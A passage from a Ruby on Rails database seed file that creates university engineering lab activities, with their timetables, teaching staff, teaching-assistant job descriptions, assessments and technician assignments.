$prog_amrc.id).first_or_create!\n\n\n a240 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE180\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 3)\n at240 = ActivityTimetable.where(activity_id: a240.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a240.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jhyml9q\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a240.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a240.id).first_or_create!(assess_weight: nil, notes: \"Pre and Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a240.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a240.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a241 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC203\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 3)\n at241 = ActivityTimetable.where(activity_id: a241.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a241.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a241.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a241.id).first_or_create!(assess_weight: nil, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a241.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a241.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a242 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"529\").first_or_create!(name: \"Torsion\",\n name_abrv: \"TORSION\", archived: false, in_drive: false, user_id: 1)\n at242 = ActivityTimetable.where(activity_id: a242.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a242.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a242.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform torsion tests on a series of rods made from different materials and having a range of lengths.From the data, students plot stress-strain curves and determine the mechanical properties of the rods, comparing the effect of rod length and material on the obtained data. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a242.id).first_or_create!(assess_weight: 4.0, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a242.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a242.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a243 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER291\").first.id, code: \"530\").first_or_create!(name: \"Vibrating Beam 1\",\n name_abrv: \"VIBBEAM1\", archived: false, in_drive: false, user_id: 1)\n at243 = ActivityTimetable.where(activity_id: a243.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a243.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a243.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a243.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a243.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a243.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a244 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC201\").first.id, code: \"530\").first_or_create!(name: \"Vibrating Beam 1\",\n name_abrv: \"VIBBEAM1\", archived: false, in_drive: false, user_id: 1)\n at244 = ActivityTimetable.where(activity_id: a244.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a244.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a244.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a244.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a244.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a244.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a245 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER291\").first.id, code: \"531\").first_or_create!(name: \"Vibrating Beam 2\",\n name_abrv: \"VIBBEAM2\", archived: false, in_drive: false, user_id: 3)\n at245 = ActivityTimetable.where(activity_id: a245.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a245.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a245.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a245.id).first_or_create!(assess_weight: 20.0, notes: \"Lab report assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a245.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a245.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a246 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC201\").first.id, code: \"531\").first_or_create!(name: \"Vibrating Beam 2\",\n name_abrv: \"VIBBEAM2\", archived: false, in_drive: false, user_id: 2)\n at246 = ActivityTimetable.where(activity_id: a246.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a246.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a246.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a246.id).first_or_create!(assess_weight: 10.0, notes: \"Lab report assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a246.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a246.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a247 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"545AE\").first_or_create!(name: \"Compressors 2 and Rolling Spheres\",\n name_abrv: \"Compressors 2\", archived: false, in_drive: false, user_id: 1)\n at247 = ActivityTimetable.where(activity_id: a247.id).first_or_create!(duration: 40, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a247.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a247.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a247.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a247.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a247.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a248 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR124\").first.id, code: \"533\").first_or_create!(name: \"Band Break Friction\",\n name_abrv: \"FRICTION\", archived: false, in_drive: false, user_id: 1)\n at248 = ActivityTimetable.where(activity_id: a248.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a248.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a248.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a248.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a248.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a248.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a249 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR301\").first.id, code: \"534\").first_or_create!(name: \"Wear\",\n name_abrv: \"Wear\", archived: false, in_drive: false, user_id: 1)\n at249 = ActivityTimetable.where(activity_id: a249.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 21, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a249.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a249.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a249.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a249.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a249.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a250 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"535\").first_or_create!(name: \"Photoelasticity\",\n name_abrv: \"PE\", archived: false, in_drive: false, user_id: 1)\n at250 = ActivityTimetable.where(activity_id: a250.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a250.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a250.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a250.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a250.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a250.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a251 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"536\").first_or_create!(name: \"Digital Image Correllation\",\n name_abrv: \"DIC\", archived: false, in_drive: false, user_id: 5)\n at251 = ActivityTimetable.where(activity_id: a251.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a251.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a251.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a251.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a251.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a251.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a252 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"537\").first_or_create!(name: \"Strain Guages\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at252 = ActivityTimetable.where(activity_id: a252.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a252.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a252.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a252.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a252.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a252.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a253 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"538\").first_or_create!(name: \"Dynamics\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at253 = ActivityTimetable.where(activity_id: a253.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a253.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a253.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a253.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a253.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a253.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a254 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4505\").first.id, code: \"539\").first_or_create!(name: \"Triaxial\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at254 = ActivityTimetable.where(activity_id: a254.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a254.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a254.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a254.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a254.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a254.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a255 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6505\").first.id, code: \"539\").first_or_create!(name: \"Triaxial\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at255 = ActivityTimetable.where(activity_id: a255.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a255.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a255.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a255.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a255.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a255.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a256 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at256 = ActivityTimetable.where(activity_id: a256.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a256.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a256.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a256.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a256.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a256.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a257 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at257 = ActivityTimetable.where(activity_id: a257.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a257.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a257.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a257.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a257.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a257.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a258 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"541\").first_or_create!(name: \"Hole in Plate: Mohr's Circles\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: false, user_id: 1)\n at258 = ActivityTimetable.where(activity_id: a258.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at258.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a258.id).first_or_create!(user_id: 5, g_drive_link: \"https://goo.gl/EhURKE\",\n mole_pub_link: \"https://goo.gl/FX6rau\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a258.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a258.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a258.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a258.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a259 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"541\").first_or_create!(name: \"Hole in Plate: Mohr's Circles\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: false, user_id: 1)\n at259 = ActivityTimetable.where(activity_id: a259.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at259.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a259.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a259.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a259.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a259.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a259.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a260 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER380\").first.id, code: \"313\").first_or_create!(name: 